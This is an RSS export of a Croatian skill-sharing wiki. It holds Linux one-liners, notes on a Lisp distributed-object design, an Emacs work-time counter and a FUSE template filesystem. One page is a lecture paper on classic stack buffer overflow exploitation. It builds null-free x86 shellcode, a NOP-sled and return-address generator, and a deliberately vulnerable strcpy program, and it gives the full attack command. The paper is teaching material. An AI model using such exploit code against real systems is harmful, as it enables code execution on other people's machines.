<?xml version="1.0" encoding="UTF-8"?>

<rss version="2.0"
 xmlns:blogChannel="http://backend.userland.com/blogChannelModule"
>

<channel>
<title><![CDATA[RazmjenaVjestina: AkA]]></title>
<link>https://saturn.ffzg.hr/razmjenavjestina/index.cgi?action=weblog_display;category=AkA</link>
<description></description>
<pubDate>Fri, 17 Apr 2009 09:29:09 -0000</pubDate>
<webMaster>root@saturn.ffzg.hr</webMaster>
<generator>Socialtext Workspace v2.19.0.2</generator>

<item>
<title><![CDATA[SvakodnevneDovitljivostiOneLineri]]></title>
<link>https://saturn.ffzg.hr/razmjenavjestina/index.cgi?svakodnevnedovitljivostionelineri</link>
<description><![CDATA[<div>Creator: TamTam Migration</div><hr/><div>Tags: AkA, RazmjenjivaciVjestina, SvakodnevneDovitljivosti, TamTam</div><hr/><div class="wiki">
<p>
Ponekad se dogodi da smo pronašli ili konstruirali nekakvu relativno složenu komandnu liniju i ne želimo kroz taj proces prolaziti ponovo. Ovo mjesto je zamišljeno kao mala baza takvih znanja -- navalite!<br />
<strong>Xnest</strong></p>
<p>
Startavanje Xnesta sa nekim window managerom (npr./usr/local/bin/rvwm):</p>
<pre>
xinit /usr/local/bin/rvwm -- /usr/X11R6/bin/Xnest :1 -geometry 800x600 -ac
</pre>
<br /><p>
ili</p>
<pre>
Xnest :1
DISPLAY=:1 /usr/local/bin/rvwm
</pre>
<br /><p>
(druga varjanta ponekad ne radi)</p>
<p>
<strong>Router</strong></p>
<p>
Imate wireles karticu /dev/wlan0, i izlazak na internet preko /dev/eth0 i želite postati router ostatku ekipe:</p>
<pre>
echo 1 &gt; /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE na &quot;serveru&quot;
a route add default gw &quot;server-ip&quot; na clientu
</pre>
<br /><p>
<strong>Prženje CD-a</strong></p>
<pre>
cdrecord -scanbus dev=ATA
</pre>
<br /><p>
skanira uređaje, a</p>
<pre>
cdrecord -v dev=ATA:a,b,c img.iso
</pre>
<br /><p>
prži cd. Parametre a b i c prepišemo iz izlaza scanbusa</p>
<p>
<strong>X background</strong></p>
<p>
Mjenja defaultnu pozadinu X-a</p>
<pre>
xsetroot -solid color
</pre>
<br /><p>
<strong>Automatsko startanje Screena</strong></p>
<pre>
if [ &quot;$STY&quot; = &quot;&quot; ]; then
exec screen -RR
fi
</pre>
<br /><p>
stavi u ~/.bashrc</p>
<hr />
<p>
<a target="_blank" title="(external link)" href="http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/SvakodnevneDovitljivostiOneLineri">original<!-- wiki-renamed-hyperlink "original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/SvakodnevneDovitljivostiOneLineri> --></a> <span class="nlw_phrase">Dec 14 5:56am<!-- wiki: {date: 2007-=12-=14 13:56:42 +0100} --></span></p>
</div>
]]></description>
<author>Alan Pavi&#x10D;i&#x107;</author>
<category>AkA, RazmjenjivaciVjestina, SvakodnevneDovitljivosti, TamTam</category>
<guid isPermaLink="true">https://saturn.ffzg.hr/razmjenavjestina/index.cgi?svakodnevnedovitljivostionelineri</guid>
<pubDate>Fri, 17 Apr 2009 09:29:09 -0000</pubDate>
</item>
<item>
<title><![CDATA[NamosBiljeske]]></title>
<link>https://saturn.ffzg.hr/razmjenavjestina/index.cgi?namosbiljeske</link>
<description><![CDATA[<div>Creator: tony@hidden</div><hr/><div>Tags: AkA, Iva, Lisp</div><hr/><div class="wiki">
<ul>
<li>radjeno po papiru iz 70tih. autor je kasnije radio na dizajnu UDP protocola, sto govori o samoj filozofiji namosa.</li>
<li>trenutno Linux 64bit. uzimamo sve sta mozemo sta nam omogucava brzi razvoj.</li>
<li>kasnije cemo ic nazad, trazit kako radit na 32bit linux, pa window, i idealno ANSI Lisp.</li>
<li>kocept pseudo vremena je kljucan</li>
<li>namos objekt je za sada skalar, jedna vrijednost.</li>
<li>objekt ima tri metode: create, lookup, destroy.</li>

<ul>
<li>svaki objekt ima 1. host, 2. pseudo-vrijeme, 3. vrijednost, 4. transakciju</li>
</ul>
<li>sigurnost, sinhronizacija vremena servera, i jos puno drugih bitnih pitanja nisu trenutno rjesavana</li>
<li><strong>greske nisu iznimka, nego sastavni dio dizajna sistema</strong></li>

<ul>
<li>nema nikakve garancije da ce akcija uspit, prvi koji stigne izvrsit akciju uspije, ostali vrate gresku</li>
</ul>
<li>pseudo-vremenska okruzenja</li>
<li>sve je stalno asinhrono</li>
<li>mozemo ga napravit sinhrono, ali bi program bio sporiji od spektruma</li>
<li>steamova nema, sve su paketi, i totalno nezavisni, nepovezani,</li>

<ul>
<li>paket moze pitat: koja je vrijednost u vremenu t1? odogovor je 5, i to je sve.</li>
<li>1 UDP paket je jedan objekt. bez stanja. vrijeme i UUID drugog objekta (ili ID tranzakcije?) su jedino zajednicko.</li>
<li>ako paket propadne, pokusat cemo opet.</li>
</ul>
<li>klasicne operacije su kratke</li>
<li>hrpa threadova cita sa istog queue, nema optimizacije, cachiranja threadova</li>
<li>primanje i slanje poruka je jedna od glavnih komponenata sistema</li>

<ul>
<li>za svaki paket se dize novi thread</li>
</ul>
<li>UUID, ptime, value, poss-desc (transakcija)</li>
<li>sve uvijek zivi pod tranasakcijom, cak i jedno jedino citanje vrijednost.</li>
<li>moglo bi se sve radit pod root tranasakcijom, ali to nema smisla</li>
<li>time-out je sastavni dio sistema, paradigma</li>
<li>koncept deffered execution (Twisted to ima), ako primatelj ne zna sto sa paketom, zamota ga u lambdu spremi, i oslobodi thread.</li>
<li>roditelj moze, ali ne mora cekat djecu da zavrse, da bi commit transakciju. kad roditelj commita, nezarsena djeca se podizu u roditelje.</li>
</ul>
<ul>
<li>possiblities</li>

<ul>
<li>uuid, parent, state, commit, abort, host, ?</li>
<li>abort/commt problemi su veliki</li>
</ul>
<li>koristi se linux futex</li>
</ul>
</div>
]]></description>
<author>tony@hidden</author>
<category>AkA, Iva, Lisp</category>
<guid isPermaLink="true">https://saturn.ffzg.hr/razmjenavjestina/index.cgi?namosbiljeske</guid>
<pubDate>Sat, 23 Aug 2008 11:18:13 -0000</pubDate>
</item>
<item>
<title><![CDATA[NanosBiljeske]]></title>
<link>https://saturn.ffzg.hr/razmjenavjestina/index.cgi?nanosbiljeske</link>
<description><![CDATA[<div>Creator: tony@hidden</div><hr/><div>Tags: AkA, Iva, Lisp</div><hr/><div class="wiki">
<p>
Page renamed to <a href="https://saturn.ffzg.hr/razmjenavjestina/index.cgi?namosbiljeske" title="(217 months)  radjeno po papiru iz 70tih. autor je kasnije radio na dizajnu UDP protocola, sto govori o samoj fil...">NamosBiljeske</a></p>
</div>
]]></description>
<author>tony@hidden</author>
<category>AkA, Iva, Lisp</category>
<guid isPermaLink="true">https://saturn.ffzg.hr/razmjenavjestina/index.cgi?nanosbiljeske</guid>
<pubDate>Sat, 23 Aug 2008 10:40:27 -0000</pubDate>
</item>
<item>
<title><![CDATA[EmacsWorkTimeCounter]]></title>
<link>https://saturn.ffzg.hr/razmjenavjestina/index.cgi?emacsworktimecounter</link>
<description><![CDATA[<div>Creator: TamTam Migration</div><hr/><div>Tags: AkA, RazmjenjivaciVjestina, TamTam</div><hr/><div class="wiki">
<br /><pre>
(setq *work-time-start* 8)
(setq *work-time-end* 16)

;(setq *work-day-dow-table* [nil (9 . (17 30)) (9 . (17 30)) (9 . (17 30)) (9 . (17 30)) (9 . (14 30)) nil])

(defun wt-dow-update-start-end nil
  (let ((beg-end (aref *work-day-dow-table* (nth 6 (decode-time (current-time))))))
    (if beg-end (setq *work-time-start* (car beg-end) *work-time-end* (cdr beg-end))
      (setq *work-time-start* 0 *work-time-end* 0))))

(setq *work-time-statuslen* 16)

(defmacro def-extract-if-list (name fun &amp;optional ret)
  `(defun ,name (val)
     (if (listp val) (,fun val)
       ,(if ret ret 'val))))

(def-extract-if-list wt-hour first)
(def-extract-if-list wt-minutes second 0)

(defun work-time-update nil
  (when *work-day-dow-table* (wt-dow-update-start-end))
  (let* ((now (current-time))
	 (today (let ((dcd-now (decode-time now)))
		  `(,(nth 3 dcd-now) ,(nth 4 dcd-now) ,(nth 5 dcd-now))))
	 (start-time (apply #'encode-time (append (list 0 (wt-minutes *work-time-start*) (wt-hour *work-time-start*)) today)))
	 (end-time (apply #'encode-time (append (list 0 (wt-minutes *work-time-end*) (wt-hour *work-time-end*)) today))))
    (labels ((status-string-format (perc)
				   (cond ((&lt; perc 0) &quot;:(&quot;)
					 ((&gt; perc 1) &quot;:))&quot;)
					 (t (let* ((filled (round (* perc *work-time-statuslen*)))
						   (empty (- *work-time-statuslen* filled)))
					      (concat &quot;[ (make-string filled ?#) (make-string empty ?\ ) ]&quot;)))))
	     (elapsed-percentage (from to now) (/ (float (- now from))(- to from)))
	     (total-sec (time) (+ (* 65536 (car time)) (cadr time))))
      (setq wt-status-string
	    (status-string-format
	     (elapsed-percentage (total-sec start-time) (total-sec end-time) (total-sec now)))))))

(push #'work-time-update display-time-hook)

;

(defun wt-status-displayed nil
  (member 'wt-status-string global-mode-string))

(defun wt-add-status nil
  (setq global-mode-string (append global-mode-string '(wt-status-string))))

(defun wt-remove-status nil
  (setq global-mode-string (remove 'wt-status-string global-mode-string)))

(defun work-time-status-toggle nil
  (interactive)
  (funcall (if (wt-status-displayed) #'wt-remove-status #'wt-add-status)))

;

(setq wt-status-string (work-time-update))
</pre>
<br /><hr />
<p>
<a target="_blank" title="(external link)" href="http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/EmacsWorkTimeCounter">original<!-- wiki-renamed-hyperlink "original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/EmacsWorkTimeCounter> --></a> <span class="nlw_phrase">Aug 30 4:20am<!-- wiki: {date: 2007-=08-=30 11:20:42 +0200} --></span></p>
</div>
]]></description>
<author>TamTam Migration</author>
<category>AkA, RazmjenjivaciVjestina, TamTam</category>
<guid isPermaLink="true">https://saturn.ffzg.hr/razmjenavjestina/index.cgi?emacsworktimecounter</guid>
<pubDate>Thu, 30 Aug 2007 09:20:42 -0000</pubDate>
</item>
<item>
<title><![CDATA[BufferOverflow]]></title>
<link>https://saturn.ffzg.hr/razmjenavjestina/index.cgi?bufferoverflow</link>
<description><![CDATA[<div>Creator: TamTam Migration</div><hr/><div>Tags: AkA, RazmjenjivaciVjestina, TamTam</div><hr/><div class="wiki">
<p>
attachment:conf_paper.pdf ili <br />
kompajlirate sa pdflatex conf.tex</p>
<pre>
%conf.tex
\documentclass[a4paper, 10pt]{article}
\usepackage[croatian]{babel}
\author{Alan Pavi\v{c}i\'{c}\\ \textsf{akapav@gmail.com}}
\title{Buffer overflow}
\setlength{\parindent}{0pt}
\setlength{\parskip}{1ex plus 0.5ex minus 0.2ex}
\addtolength{\hoffset}{-1cm}
\begin{document}
\maketitle
\vspace{1cm}

U ovom papiru \'{c}emo pokazati osnovne tehnike {\it buffer overflow
exploita}. S obzirom da je papir prate\'{c}i materijal uz predavanje na
istu temu, izostavit \'{c}emo uvod u x86 asembler i {\it calling
convencije} o kojima \'{c}e biti rije\v{c}i u \v{z}ivo

Osnovna ideja ovakvih programa je da iskoriste memoriju alociranu na
{\it stacku} za nekakve korisni\v{c}ke podatke, te da u nju upi\v{s}u
vlastiti kod. Samo aktiviranje tog koda se radi tako da se pregazi
{\it return aresa}, podatak koji se tako\dj{}er nalazi na stacku i
slu\v{z}i da bi funkcije znale odakle su pozvane te kuda se moraju
vratiti. Umjesto originalne return adrese podme\'{c}e se neka druga,
na kojoj le\v{z}i uba\v{c}eni kod nakon \v{c}ega se mo\v{z}e
izvr\v{s}iti proizvoljna akcija sa pod istim onim ovlastima koje je
imao i vlasnik napadnutog programa

Akcija koju \'{c}emo mi izvr\v{s}avati prilikom ovog eksperimenta je
varijacija na temu popularnog hello worlda

Po\v{c}eti \'{c}emo sa vrlo malim hello world programom koji je
napisan u gcc-ovom inline asembleru, a pisanje na ekran radi preko
sistemskog poziva (primjetite da ovdje radi jednostavnosti sistemske
pozive radimo sa staromodnim $int$ $0x80$ umijesto pomo\'{c}u mnogo
br\v{z}eg $sysenter$a)

Pisanjem programa u asembleru i pozivima direktno u kernel dobivamo
manje i neovisnije programe koji \'{c}e se lak\v{s}e mo\'{c}i
izvr\v{s}avati na nepoznatim ra\v{c}unalima

\begin{verbatim}
int main(void)
{
  __asm__ (&quot; \
            movl $3, %edx;       \
            movl $LBL, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        .ascii \&quot;aka\&quot;;      \
&quot;);
}
\end{verbatim}

Iako malen i jednostavan. prethodni program ima ozboljan problem -- naime
u liniji $movl LBL, \%ecx$ baratamo sa apsolutnom adresom, te
ovakav komad koda se ne mo\v{z}e izvr\v{s}avati na proizvoljnim
memorijskim lokacijama. Zbog toga isti program jo\v{s} jednom
prepisujemo, ali umjesto apsolutnog $movl$a, korisitmo relativne $jmp$
i $call$. Obratite pa\v{z}nju da se $call$ koristi za dohvat adrese
na kojoj se nalazi string
  
\begin{verbatim}
int main(void)
{
  __asm__ (&quot; \
            jmp LBL;             \
GO:         pop %esi;            \
            movl $3, %edx;       \
            movl %esi, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        call GO;             \
            .ascii \&quot;akb\&quot;;      \
&quot;);
}
\end{verbatim}

Sad imamo rade\'{c}u {\it relokatibilnu} rutinu. Sljede\'{c}i korak je
izbaciti sve nule koje se nalaze u binarnom kodu napisanog
programa. Naime, s obzirom da \'{c}emo koristiti $strcpy$ funkciju za
ubacivanje na\v{s}eg bloka byteova, moramo se osigurati da kopiranje
ne stane prije nego smo planirali. Klasi\v{c}na tehnika punjenja neke
vrijednosti sa nula je da se ta vrijednost jednostavno $xor$a sa samom
sobom. Program izgleda malo slo\v{z}enije, ali je i poprimio svoj
kona\v{c}ni oblik

\begin{verbatim}
int main(void)
{
  __asm__ (&quot; \
            jmp LBL;             \
GO:         pop %esi;            \
            xor %edx, %edx;      \
            movb $3, %dl;        \
            movl %esi, %ecx;     \
            xor %ebx, %ebx;      \
            movb $1, %bl;        \
            xor %eax, %eax;      \
            movb $4, %al;        \
            int $0x80;           \
            xor %eax, %eax;      \
            movb $1, %al;        \
            int $0x80;           \
LBL:        call GO;             \
            .ascii \&quot;akc\&quot;;      \
&quot;);
\end{verbatim}

U datoteci {\it prog1.py} \'{c}emo jo\v{s} jednom napisati isti
program, samo umjesto standardnih simbola za asemblerske instrukcije,
koristimo numeri\v{c}ke vrijednosti spremljeno u jedno $python$
polje. Do samih vriednosti smo do\v{s}li koriste\'{c}i program
$objdump$

\begin{verbatim}
seq = [
    0xeb, 0x17,       #jmp    LBL
    #GO:
    0x5e,             #pop %esi
    0x31, 0xd2,       #xor %edx,%edx
    0xb2, 0x03,       #mov $0x3,%dl
    0x89, 0xf1,       #mov %esi,%ecx
    0x31, 0xdb,       #xor %ebx,%ebx
    0xb3, 0x01,       #mov $0x1,%bl
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x04,       #mov $0x4,%al
    0xcd, 0x80,       #int $0x80
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x01,       #mov $0x1,%al
    0xcd, 0x80,       #int $0x80
    #LBL:
    0xe8, 0xe4, 0xff, 0xff, 0xff, #callq  GO
    0x61, 0x6b, 0x64
    ]
\end{verbatim}

{\it bindump.py} je program koji kao argument prima ime datoteke poput
prethodne, a generira binarni file na standardnom outputu (npr:
$python.py prog1$ gdje je $prog1$ ime prethodne datoteke)

\begin{verbatim}
#!/usr/bin/python -u

import array
import sys
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

mdl = __import__(sys.argv[1])

arr = array.array(&quot;B&quot;)
arr.fromlist(mdl.seq);
arr.tofile(sys.stdout)
\end{verbatim}

Da bismo se uvjerili da sve do sada radi, pokrenimo sljede\'{c}i
program\v{c}i\'{c} i na standardni ulaz mu treba dati izlaz iz
$bindump.py$. Ukoliko je sve u redu, program \'{c}e dobivene byteove
spremiti na heap, te \'{c}e ih izvr\v{s}iti kao da su regularna
funkcija

\begin{verbatim}
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

unsigned char* read_stream(FILE *fp)
{
  static const size_t block_size = 1024;
  unsigned char* buff = NULL;
  int cnt = 0;
  do {
    buff = (unsigned char*)realloc(buff, (cnt + 1) * block_size);
    fread(buff + cnt++ * block_size, block_size, 1, fp);
  } while(!feof(fp));
  return buff;
}

int main(void)
{
  typedef void(*fun_t)(void);
  unsigned char *buff = read_stream(stdin);
  ((fun_t)(buff))();
  free(buff);
  return 0;
}
\end{verbatim}

Evo i &quot;\v{z}rtve&quot;. Ovaj program \'{c}emo izvrgnuti napadu. Iako ovako
u laboratorijskim uvjetima izgleda vrlo naivno, strcpy iz velikog
buffera u ne\v{st}o manji se jo\v{s} uvijek mo\v{z}e na\'{c} i u
stvarnom svijetu_

\begin{verbatim}
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

void broken_fun(const char* src)
{
  char dst[256];
  printf(&quot;len: %d\n&quot;, strlen(src));
  printf(&quot;%x\n&quot;, dst);
  strcpy(dst, src);
}

int main(void)
{
  char buff[512];
  fgets(buff, 512, stdin);
  broken_fun(buff);
  return 0;
}
\end{verbatim}

{\it seqgen.py} je jo\v{s} jedan pomo\'{c}ni program\v{c}i\'{c}. S
obzirom da prilikom poku\v{s}aja ubacivanja na\v{s}eg koda u tu\dj{}i
program nismo uvijek to\v{c}no sigurni gdje se nalazi po\v{c}etak memorije
u koju se useljavamo ili gdje se nalazi return adresa koju treba
promjeniti, ovaj program nam generira na osnovu pravih_ bytova
koje \'{c}emo upotrebiti za exploit novu datoteku u kojoj se na
po\v{c}etku nalazi proizvoljan broj $nop$ instrukcija, a na kraju isto
tako proizvoljan broj return adresa. Sada nam poga\dj{}anje_ izgleda
puno lak\v{s}e

\begin{verbatim}
 #!/usr/bin/python -u

import sys
import array
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

arr = array.array(&quot;B&quot;)
arr.fromlist([0x90 for _ in range(int(sys.argv[1]))]);
arr.tofile(sys.stdout)

sys.stdout.write(sys.stdin.read())

arr = array.array(&quot;L&quot;)
arr.fromlist([int(sys.argv[2], 16) for _ in range(int(sys.argv[3]))])
arr.append(0x0a0a0a0a)
arr.tofile(sys.stdout)
\end{verbatim}

Kao ulazne argumente skripta uzima 3 broja -- broj $nop$ova prije rutine
za napad, vrijednost nove return adrese te koliko puta \'{c}emo tu
adresu upisati na stack. Rutinu za napad prima sa standardnog ulaza i
samo je prepisuje na izlaz

Ukoliko program \v{z}rtvu_ iskompajliramo sa
\begin{verbatim}
gcc ovfl.c -O -g -o ovfl
\end{verbatim}
pokretanje napada se moze napraviti sa npr. 
\begin{verbatim}
./bindump.py prog1 | ./seqgen.py 103 0xbffff102 50 | ./ovfl
\end{verbatim}
Ukoliko ne pro\dj{}e iz prve, return adresu treba na\v{s}timati tako
da bude ne\v{s}to ve\'{c}a nego po\v{c}etak bufera (broj koji se
ispisuje iz $ovfl$ programa)

Ako vam je eksperiment uspio zna\v{c}i da nemate dobro pode\v{s}en
sustav, te kao root otkucajte
\begin{verbatim}
echo 1 &gt; /proc/sys/kernel/randomize_va_space
\end{verbatim}
i eksperiment sada ponovite ;)

\end{document}
</pre>
<br /><hr />
<p>
<a target="_blank" title="(external link)" href="http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/BufferOverflow">original<!-- wiki-renamed-hyperlink "original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/BufferOverflow> --></a> <span class="nlw_phrase">May 11 5:10am<!-- wiki: {date: 2007-=05-=11 12:10:42 +0200} --></span></p>
</div>
<hr/><div>Attachments: conf_paper.pdf</div>]]></description>
<author>TamTam Migration</author>
<category>AkA, RazmjenjivaciVjestina, TamTam</category>
<guid isPermaLink="true">https://saturn.ffzg.hr/razmjenavjestina/index.cgi?bufferoverflow</guid>
<pubDate>Fri, 11 May 2007 10:10:42 -0000</pubDate>
</item>
<item>
<title><![CDATA[EmcsWorkTimeCounter]]></title>
<link>https://saturn.ffzg.hr/razmjenavjestina/index.cgi?emcsworktimecounter</link>
<description><![CDATA[<div>Creator: TamTam Migration</div><hr/><div>Tags: AkA, RazmjenjivaciVjestina, TamTam</div><hr/><div class="wiki">
<p>
(setq <strong>work-time-start</strong> 9)<br />
(setq <strong>work-time-end</strong> 17)<br />
(setq <strong>work-time-statuslen</strong> 16)</p>
<p>
;</p>
<p>
(defun work-time-update nil<br />
&nbsp;&nbsp;(let* ((now (current-time))<br />
		 (today (let ((dcd-now (decode-time now)))<br />
				  `(,(nth 3 dcd-now) ,(nth 4 dcd-now) ,(nth 5 dcd-now))))<br />
		 (start-time (apply #'encode-time (append (list 0 0 <strong>work-time-start</strong>) today)))<br />
		 (end-time (apply #'encode-time (append (list 0 0 <strong>work-time-end</strong>) today))))<br />
	(labels ((status-string-format (perc)<br />
								   (cond ((&lt; perc 0) &quot;:(&quot;)<br />
										 ((&gt; perc 1) &quot;:))&quot;)<br />
										 (t (let* ((filled (round (* perc <strong>work-time-statuslen</strong>)))<br />
												   (empty (- <strong>work-time-statuslen</strong> filled)))<br />
											  (concat &quot;[ (make-string filled ?#) (make-string empty ?\ ) ]&quot;)))))<br />
			 (elapsed-percentage (from to now) (/ (float (- now from))(- to from)))<br />
			 (total-sec (time) (+ (* 65536 (car time)) (cadr time))))<br />
	  (setq wt-status-string<br />
			(status-string-format<br />
			 (elapsed-percentage (total-sec start-time) (total-sec end-time) (total-sec now)))))))</p>
<p>
(push #'work-time-update display-time-hook)</p>
<p>
;</p>
<p>
(defun wt-status-displayed nil<br />
&nbsp;&nbsp;(member 'wt-status-string global-mode-string))</p>
<p>
(defun wt-add-status nil<br />
&nbsp;&nbsp;(setq global-mode-string (append global-mode-string '(wt-status-string))))</p>
<p>
(defun wt-remove-status nil<br />
&nbsp;&nbsp;(setq global-mode-string (remove 'wt-status-string global-mode-string)))</p>
<p>
(defun work-time-status-toggle nil<br />
&nbsp;&nbsp;(interactive)<br />
&nbsp;&nbsp;(funcall (if (wt-status-displayed) #'wt-remove-status #'wt-add-status)))</p>
<p>
;</p>
<p>
(setq wt-status-string (work-time-update))</p>
<p>
;;;todo<br />
;;add minutes<br />
;;works only as display time hook</p>
<hr />
<p>
<a target="_blank" title="(external link)" href="http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/EmcsWorkTimeCounter">original<!-- wiki-renamed-hyperlink "original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/EmcsWorkTimeCounter> --></a> <span class="nlw_phrase">Aug 7 2:45am<!-- wiki: {date: 2006-=08-=07 09:45:08 +0200} --></span></p>
</div>
]]></description>
<author>TamTam Migration</author>
<category>AkA, RazmjenjivaciVjestina, TamTam</category>
<guid isPermaLink="true">https://saturn.ffzg.hr/razmjenavjestina/index.cgi?emcsworktimecounter</guid>
<pubDate>Mon, 07 Aug 2006 07:45:08 -0000</pubDate>
</item>
<item>
<title><![CDATA[LinuxDistribucijaRazmjeneVjestina]]></title>
<link>https://saturn.ffzg.hr/razmjenavjestina/index.cgi?linuxdistribucijarazmjenevjestina</link>
<description><![CDATA[<div>Creator: TamTam Migration</div><hr/><div>Tags: AkA, RazmjenjivaciVjestina, TamTam</div><hr/><div class="wiki">
<p>
evo trivijalno male verzije template file systema koja koristi fuse i empy libraryje</p>
<pre>
import em
import os
import mmap
import sys
import thread

from fuse import Fuse

active_module='__main__' #hack!!

def transform(file):
	tf = os.tmpfile()
	i = em.Interpreter(output=tf)
	i.include(file, sys.modules[active_module].__dict__)
	tf.flush()
	mm = mmap.mmap(tf.fileno(), os.fstat(tf.fileno()).st_size)
	return mm

class TmpltFS(Fuse):
	def __init__(self, *args, **kw):
		Fuse.__init__(self, *args, **kw)
		self.mountpoint = '/tmp/etc'
		self.multithreaded = 1
		self.template_dir='/tmp/template'

	def getdir(self, path):
		return map(lambda x: (x,0), os.listdir(self.template_dir + path))

	def getattr(self, path):
		return os.lstat(self.template_dir + path)
	
	def open(self, path, flags):
		os.close(os.open(self.template_dir + path, flags))
		return 0
	
	def read(self, path, len, offset):
		f = transform(self.template_dir + path)
		f.seek(offset)
		return f.read(len)

	def release(self, path, flags):
#		print path + ' &gt;&gt; close\n'
		return 0
	
#if __name__ == '__main__':
#	t()

def t():
	server = TmpltFS()
	server.main()

def run():
	thread.start_new_thread(t, ())
</pre>
<br /><p>
a koristi se ovako:</p>
<p>
primjer Makefilea</p>
<pre>
import os

def gcc_mm(file):
    i,o,e = os.popen3(cc + ' -MM ' + file)
    ret = o.readline()
    return ret

def mkf_entry(_file):
    return gcc_mm(_file) + &quot;\t&quot; + cc + &quot; -c &quot; + _file + &quot;\n\n&quot;

def mk_head(flist):
    ret = &quot;all: &quot;
    for f in flist:
        ret += f[:-1] + 'o '
    return ret + &quot;\n\t&quot; + cc + &quot; -o $@ $^\n\n&quot;
    
def make_make(flist):
    lst = mk_head(flist)
    for f in flist:
        lst += mkf_entry(f)
    return lst

cc = 'gcc'

def get_cc():
    return cc

l = ['f1.c', 'f2.c']
</pre>
<br /><p>
i</p>
<pre>
CC=@make.cc
@{print make.make_make(make.l)}
</pre>
<br /><p>
ili (konfiguracija proftpd-a)</p>
<pre>
class ProFtpd:
    def __init__(self):
        self.name = 'Konferencija open source 2006'
        self.default_server = True
        self.require_valid_shell = False
        self.port = 8021
        self.umask = '022'
        self.max_instances = 10
        self.user = 'aka'
        self.group = 'users'
        self.allow_overwrite = True

def on_off(arg):
    if arg:
        return 'on'
    return 'off'

proftpd = ProFtpd()
</pre>
<br /><p>
i</p>
<pre>
# proftpd.conf template
# 
ServerName          &quot;@proftpd.name&quot;
ServerType          standalone
DefaultServer       @(on_off(proftpd.default_server))
RequireValidShell   @(on_off(proftpd.require_valid_shell))
AuthPAM             off
AuthPAMConfig       ftp

Port				@proftpd.port
Umask				@proftpd.umask

MaxInstances			@proftpd.max_instances

User				@proftpd.user
Group				@proftpd.group

&lt;Directory /&gt;
  AllowOverwrite		@(on_off(proftpd.allow_overwrite))
&lt;/Directory&gt;

&lt;Anonymous ~ftp&gt;
  User				ftp
  Group				ftp

  # We want clients to be able to login with &quot;anonymous&quot; as well as &quot;ftp&quot;
  UserAlias			anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients			10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin			welcome.msg
  DisplayFirstChdir		.message

  # Limit WRITE everywhere in the anonymous chroot
  &lt;Limit WRITE&gt;
    DenyAll
  &lt;/Limit&gt;

&lt;/Anonymous&gt;
</pre>
<br /><p>
... detalji o teoretskom djelu sljede uskoro ...</p>
<hr />
<p>
<a target="_blank" title="(external link)" href="http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/LinuxDistribucijaRazmjeneVjestina">original<!-- wiki-renamed-hyperlink "original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/LinuxDistribucijaRazmjeneVjestina> --></a> <span class="nlw_phrase">Jun 17 10:04am<!-- wiki: {date: 2006-=06-=17 17:04:01 +0200} --></span></p>
</div>
]]></description>
<author>TamTam Migration</author>
<category>AkA, RazmjenjivaciVjestina, TamTam</category>
<guid isPermaLink="true">https://saturn.ffzg.hr/razmjenavjestina/index.cgi?linuxdistribucijarazmjenevjestina</guid>
<pubDate>Sat, 17 Jun 2006 15:04:01 -0000</pubDate>
</item>
</channel>
</rss>